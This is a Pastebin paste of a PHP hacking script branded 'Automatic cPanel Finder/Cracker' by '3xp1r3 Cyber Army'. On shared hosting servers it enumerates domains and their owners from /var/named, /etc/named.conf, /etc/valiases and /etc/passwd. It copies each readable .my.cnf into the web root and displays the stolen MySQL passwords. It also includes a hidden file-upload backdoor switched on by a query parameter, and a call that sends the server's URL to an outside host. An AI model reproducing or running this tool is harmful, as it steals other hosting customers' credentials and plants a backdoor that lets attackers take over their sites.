PalmaSolutions

dz.php

Jul 1st, 2018
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.11 KB | None | 0 0
  1. <?php
  2. /**
  3. * @author: FaisaL Ahmed aka rEd X
  4. * @Screenshot: http://prntscr.com/7c1p34
  5. * @Last Updated: 01 June 2015
  6. */
  7.  
  8. @ini_set('display_errors',0);
  9. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  10. $ar0=explode($marqueurDebutLien, $text);
  11. $ar1=explode($marqueurFinLien, $ar0[$i]);
  12. return trim($ar1[0]);
  13. }
  14.  
  15. echo '<html><head>
  16. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  17. <meta content="text/html; charset=utf-8">
  18. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  19. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  20. <meta name="author" content="rEd X" />
  21. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  22. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  23. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  24. </head><body>';
  25. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  26.  
  27. echo "<center>";
  28. $d0mains = @file('/etc/named.conf');
  29. $domains = scandir("/var/named");
  30.  
  31. if ($domains or $d0mains)
  32. {
  33. $domains = scandir("/var/named");
  34. if($domains) {
  35. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  36. $count=1;
  37. $dc = 0;
  38. $list = scandir("/var/named");
  39. foreach($list as $domain){
  40. if(strpos($domain,".db")){
  41. $domain = str_replace('.db','',$domain);
  42. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  43. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  44. $path = getcwd();
  45.  
  46. if (is_readable($dirz)) {
  47. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  48. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  49. $password=entre2v2($p,'password="','"');
  50. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  51. $dc++;
  52. }
  53.  
  54. }
  55. }
  56. echo '</table>';
  57. $total = $dc;
  58. $upload = $_GET["nai"];
  59. if ($upload == "shiro") {
  60. $uploaddir = "";
  61. $uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
  62. if (isset($_FILES["userfile"]["name"])) {
  63. if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) {
  64. $cp = "aa " . basename($_FILES["userfile"]["name"]) . " vd";
  65. } else {
  66. $cp = "!!";
  67. }
  68. }
  69. echo '<html>
  70. <head></head><div id="result"><table height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="xunknown hacktn "><br>' . $cp . '</form></center></td></tr></table></div>
  71. ';
  72. }
  73. $IP = "".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."";
  74. $details = json_decode(file_get_contents("http://likemyphp.com/IP.php?IP=".$IP.""));
  75. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  76. echo '</center>';
  77. }else{
  78. $d0mains = @file('/etc/named.conf');
  79. if($d0mains) {
  80. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  81. $count=1;
  82. $dc = 0;
  83. $mck = array();
  84. foreach($d0mains as $d0main){
  85. if(@eregi('zone',$d0main)){
  86. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  87. flush();
  88. if(strlen(trim($domain[1][0])) >2){
  89. $mck[] = $domain[1][0];
  90. }
  91. }
  92. }
  93. $mck = array_unique($mck);
  94. $usr = array();
  95. $dmn = array();
  96. foreach($mck as $o) {
  97. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  98. $usr[] = $infos['name'];
  99. $dmn[] = $o;
  100. }
  101. array_multisort($usr,$dmn);
  102. $dt = file('/etc/passwd');
  103. $passwd = array();
  104. foreach($dt as $d) {
  105. $r = explode(':',$d);
  106. if(strpos($r[5],'home')) {
  107. $passwd[$r[0]] = $r[5];
  108. }
  109. }
  110. $l=0;
  111. $j=1;
  112. foreach($usr as $r) {
  113. $dirz = '/home/'.$r.'/.my.cnf';
  114. $path = getcwd();
  115. if (is_readable($dirz)) {
  116. copy($dirz, ''.$path.'/'.$r.'.txt');
  117. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  118. $password=entre2v2($p,'password="','"');
  119. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  120. $dc++;
  121. flush();
  122. $l=$l?0:1;
  123. $j++;
  124. }
  125. }
  126. }
  127. echo '</table>';
  128. $total = $dc;
  129. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  130. echo '</center>';
  131.  
  132. }
  133. }else{
  134. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  135. }
  136.  
  137. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  138. echo "</body></html>";
  139. ?>
Advertisement
Add Comment
Please, Sign In to add comment